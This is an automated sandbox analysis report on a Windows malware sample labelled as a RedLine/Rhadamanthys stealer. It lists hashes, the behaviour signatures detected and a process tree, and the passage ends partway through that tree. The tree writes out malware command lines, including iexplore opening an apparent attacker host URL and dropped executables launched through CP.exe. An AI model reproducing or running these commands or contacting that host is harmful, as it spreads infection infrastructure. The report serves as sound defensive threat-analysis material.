f43cc18b27258fc435d510a0204ebb53a174065b0e5968acd10bca190ee65b90

Analysis

max time kernel
149s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
13/08/2026, 01:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe
Size 226KB
Sample260813-caewwazbme
SHA256 f43cc18b27258fc435d510a0204ebb53a174065b0e5968acd10bca190ee65b90
MD5 0e061c2d86b87d6cd78357a5e7156c4f
SHA1 719c3114c5ccdf15e3fcc7ee7ddcd3b0fc29b696
SHA512 ba7750e41a1a59cc3ac63cae46c7f0c6bd5bec5a3c05e1ad8138abfd5eaf7d99f6b0f2d15f4e14b303dc21f3fb59f1c45fbfa12df4d5e83b0b0e67d250352914
SSDEEP 3072:gGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:HXY4LK+a3lLNngoqRttA7
TLSH
T1DE34490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
824	CP.exe
3632	pnhfzxrpkh.exe
4828	CP.exe
2776	CP.exe
4868	i_pnhfzxrpkh.exe
832	uomhezxrpj.sys
2612	CP.exe
3728	hezxrpjhbz.exe
3468	CP.exe
4500	CP.exe
4388	i_hezxrpjhbz.exe
680	cwrojhbztr.sys
2064	CP.exe
2044	rmjecwrlje.exe
3084	CP.exe
4272	CP.exe
2624	i_rmjecwrlje.exe
1640	ljdbwtomge.sys
4060	CP.exe
4088	wqojgbytrl.exe
5080	CP.exe
1740	CP.exe
2028	i_wqojgbytrl.exe
4960	ywqoigbyto.sys
2712	CP.exe
1016	nlgeywqoig.exe
772	CP.exe
2912	CP.exe
2864	i_nlgeywqoig.exe
832	lidbvtnlfd.sys
1908	CP.exe
3248	dxvqnigays.exe
3592	CP.exe
3548	CP.exe
3912	i_dxvqnigays.exe
1804	aysqkidavs.sys
3520	CP.exe
4672	snlfdxvpni.exe
3612	CP.exe
2416	CP.exe
1876	i_snlfdxvpni.exe
712	avsnkfdxvp.sys
4216	CP.exe
4008	hfzxspkhca.exe
3164	CP.exe
4540	CP.exe
3760	i_hfzxspkhca.exe
1856	kfcxupnhfz.sys
3344	CP.exe
872	zxrpkhcaus.exe
4240	CP.exe
4912	CP.exe
2268	i_zxrpkhcaus.exe
1048	cwupmhfzxr.sys
2908	CP.exe
2400	rpjhbzurmk.exe
3116	CP.exe
1912	CP.exe
2740	i_rpjhbzurmk.exe
3812	rojhbztrmj.sys
552	CP.exe
3708	jhbzurmjez.exe
1352	CP.exe
1432	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 43 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhbzurmjez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hcausnkfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bztrljebwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wqojgbytrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wqojgbytrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	snlfdxvpni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eytrljdbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hbztrljebw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hezxrpjhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxrpkhcaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tnicavsnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kicausnkfc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hcausnkfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhbzurmjez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnhfzxrpkh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rmjecwrlje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nlgeywqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfzxspkhca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpjhbzurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ytnlgdywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_aupmhfzxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhbzurmjec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_snlfdxvpni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpjhbzurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bztrljebwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnhfzxrpkh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxvqnigays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hezxrpjhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dxvqnigays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ytnlgdywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kicausnkfc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aupmhfzxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhbzurmjec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmjecwrlje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hfzxspkhca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eytrljdbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tnicavsnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hbztrljebw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nlgeywqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxrpkhcaus.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1348	ipconfig.exe
2576	ipconfig.exe
4476	ipconfig.exe
1480	ipconfig.exe
628	ipconfig.exe
4836	ipconfig.exe
4712	ipconfig.exe
4704	ipconfig.exe
3272	ipconfig.exe
3904	ipconfig.exe
3556	ipconfig.exe
1108	ipconfig.exe
1632	ipconfig.exe
364	ipconfig.exe
3460	ipconfig.exe
2068	ipconfig.exe
5052	ipconfig.exe
4532	ipconfig.exe
1836	ipconfig.exe
2964	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000212e932f3a76324da579f1752c8edb48000000000200000000001066000000010000200000009d7a5340b7db9e7d612e616e25806c2fe10b626e43d1ef767273f2e6c6dca8ef000000000e8000000002000020000000dc6c574cb5c4421e48176b9ccc8f282c4d1caf4f43fc9461be5ad20723e815f020000000c10952fba9d2675a97a00f4f8661a07c3b600f46c46ffe27b6e1d5a5effb156e40000000f438b284b3e1223a675d3e9a7aeeef4f5c9d6cded9e8b29ffaf3505b132e31760c423384f662adf9b4a1a07affa14dfb2234a65aa5a5a2a571fb5c12a1defa02	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "493350941"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{9BF81D34-96B9-11F1-9D43-761C4632812C} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 707a64d3ce2add01	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2048324917"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31271622"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 30a26dd3ce2add01	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000212e932f3a76324da579f1752c8edb4800000000020000000000106600000001000020000000ef4797fb54f593f5538a23328e43837291a3ed9616d8d6d9c45ede7bae0e2222000000000e80000000020000200000004b854097642e2a8026e110a75604c6ed3388fcbbf190c00148498eb514d42add200000006b26491358a44e156e95ef1b9efcf541e9eaaac2f1729603f90fa164081bd9d6400000008be643ca21171f8fe0e04de168937f55e771d3f75fd88791413b29ef961203ca86d160599c9d2bf67c219fd403181331143b5f385abe2eb9f0372bca97369822	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	4868	i_pnhfzxrpkh.exe
Token: SeDebugPrivilege	4388	i_hezxrpjhbz.exe
Token: SeDebugPrivilege	2624	i_rmjecwrlje.exe
Token: SeDebugPrivilege	2028	i_wqojgbytrl.exe
Token: SeDebugPrivilege	2864	i_nlgeywqoig.exe
Token: SeDebugPrivilege	3912	i_dxvqnigays.exe
Token: SeDebugPrivilege	1876	i_snlfdxvpni.exe
Token: SeDebugPrivilege	3760	i_hfzxspkhca.exe
Token: SeDebugPrivilege	2268	i_zxrpkhcaus.exe
Token: SeDebugPrivilege	2740	i_rpjhbzurmk.exe
Token: SeDebugPrivilege	5076	i_jhbzurmjez.exe
Token: SeDebugPrivilege	3900	i_bztrljebwu.exe
Token: SeDebugPrivilege	3948	i_eytrljdbvt.exe
Token: SeDebugPrivilege	1456	i_ytnlgdywqo.exe
Token: SeDebugPrivilege	404	i_tnicavsnlf.exe
Token: SeDebugPrivilege	3400	i_kicausnkfc.exe
Token: SeDebugPrivilege	5000	i_hcausnkfdx.exe
Token: SeDebugPrivilege	3544	i_aupmhfzxrp.exe
Token: SeDebugPrivilege	2148	i_jhbzurmjec.exe
Token: SeDebugPrivilege	1148	i_hbztrljebw.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3448	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
3448	iexplore.exe
3448	iexplore.exe
4876	IEXPLORE.EXE
4876	IEXPLORE.EXE
4876	IEXPLORE.EXE
4876	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 540 wrote to memory of 3448	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	83
PID 3448 wrote to memory of 4876	3448	iexplore.exe	84
PID 540 wrote to memory of 824	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	85
PID 3632 wrote to memory of 4828	3632	pnhfzxrpkh.exe	88
PID 540 wrote to memory of 2776	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	95
PID 540 wrote to memory of 2612	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	102
PID 3728 wrote to memory of 3468	3728	hezxrpjhbz.exe	104
PID 540 wrote to memory of 4500	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	108
PID 540 wrote to memory of 2064	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	112
PID 2044 wrote to memory of 3084	2044	rmjecwrlje.exe	114
PID 540 wrote to memory of 4272	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	117
PID 540 wrote to memory of 4060	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	121
PID 4088 wrote to memory of 5080	4088	wqojgbytrl.exe	123
PID 540 wrote to memory of 1740	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	126
PID 540 wrote to memory of 2712	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	132
PID 1016 wrote to memory of 772	1016	nlgeywqoig.exe	134
PID 540 wrote to memory of 2912	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	137
PID 540 wrote to memory of 1908	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	141
PID 3248 wrote to memory of 3592	3248	dxvqnigays.exe	143
PID 540 wrote to memory of 3548	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	146
PID 540 wrote to memory of 3520	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	150
PID 4672 wrote to memory of 3612	4672	snlfdxvpni.exe	152
PID 540 wrote to memory of 2416	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	155
PID 540 wrote to memory of 4216	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	159
PID 4008 wrote to memory of 3164	4008	hfzxspkhca.exe	161
PID 540 wrote to memory of 4540	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	164
PID 540 wrote to memory of 3344	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	168
PID 872 wrote to memory of 4240	872	zxrpkhcaus.exe	170
PID 540 wrote to memory of 4912	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	173
PID 540 wrote to memory of 2908	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	177
PID 2400 wrote to memory of 3116	2400	rpjhbzurmk.exe	179
PID 540 wrote to memory of 1912	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	182
PID 540 wrote to memory of 552	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	186
PID 3708 wrote to memory of 1352	3708	jhbzurmjez.exe	188
PID 540 wrote to memory of 1432	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	192
PID 540 wrote to memory of 3512	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	196
PID 652 wrote to memory of 3196	652	bztrljebwu.exe	198
PID 540 wrote to memory of 1344	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	201
PID 540 wrote to memory of 1940	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	203
PID 3820 wrote to memory of 1380	3820	eytrljdbvt.exe	205
PID 540 wrote to memory of 3760	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	208
PID 540 wrote to memory of 5104	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	212
PID 2020 wrote to memory of 2092	2020	ytnlgdywqo.exe	214
PID 540 wrote to memory of 3932	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	217
PID 540 wrote to memory of 2312	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	221
PID 4544 wrote to memory of 2956	4544	tnicavsnlf.exe	223
PID 540 wrote to memory of 1672	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	226
PID 540 wrote to memory of 3048	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	230
PID 1756 wrote to memory of 1808	1756	kicausnkfc.exe	232
PID 540 wrote to memory of 2024	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	235
PID 540 wrote to memory of 3696	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	239
PID 3976 wrote to memory of 3884	3976	hcausnkfdx.exe	241
PID 540 wrote to memory of 3484	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	244
PID 540 wrote to memory of 4188	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	248
PID 4844 wrote to memory of 2668	4844	aupmhfzxrp.exe	250
PID 540 wrote to memory of 2204	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	253
PID 540 wrote to memory of 1816	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	255
PID 3032 wrote to memory of 1944	3032	jhbzurmjec.exe	257
PID 540 wrote to memory of 2888	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	260
PID 540 wrote to memory of 4564	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	264
PID 1168 wrote to memory of 440	1168	hbztrljebw.exe	266
PID 540 wrote to memory of 1592	540	2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe	269

C:\Users\Admin\AppData\Local\Temp\2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-12_0e061c2d86b87d6cd78357a5e7156c4f_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:540
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3448
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3448 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:4876
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pnhfzxrpkh.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:824
- - C:\Temp\pnhfzxrpkh.exe
    C:\Temp\pnhfzxrpkh.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3632
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4828
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:628
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pnhfzxrpkh.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2776
- - C:\Temp\i_pnhfzxrpkh.exe
    C:\Temp\i_pnhfzxrpkh.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4868
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\hezxrpjhbz.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2612
- - C:\Temp\hezxrpjhbz.exe
    C:\Temp\hezxrpjhbz.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3728
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3468
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2576
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_hezxrpjhbz.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4500
- - C:\Temp\i_hezxrpjhbz.exe
    C:\Temp\i_hezxrpjhbz.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4388
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rmjecwrlje.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2064
- - C:\Temp\rmjecwrlje.exe
    C:\Temp\rmjecwrlje.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2044
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3084
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4476
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rmjecwrlje.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4272
- - C:\Temp\i_rmjecwrlje.exe
    C:\Temp\i_rmjecwrlje.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2624
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\wqojgbytrl.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4060
- - C:\Temp\wqojgbytrl.exe
    C:\Temp\wqojgbytrl.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4088
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
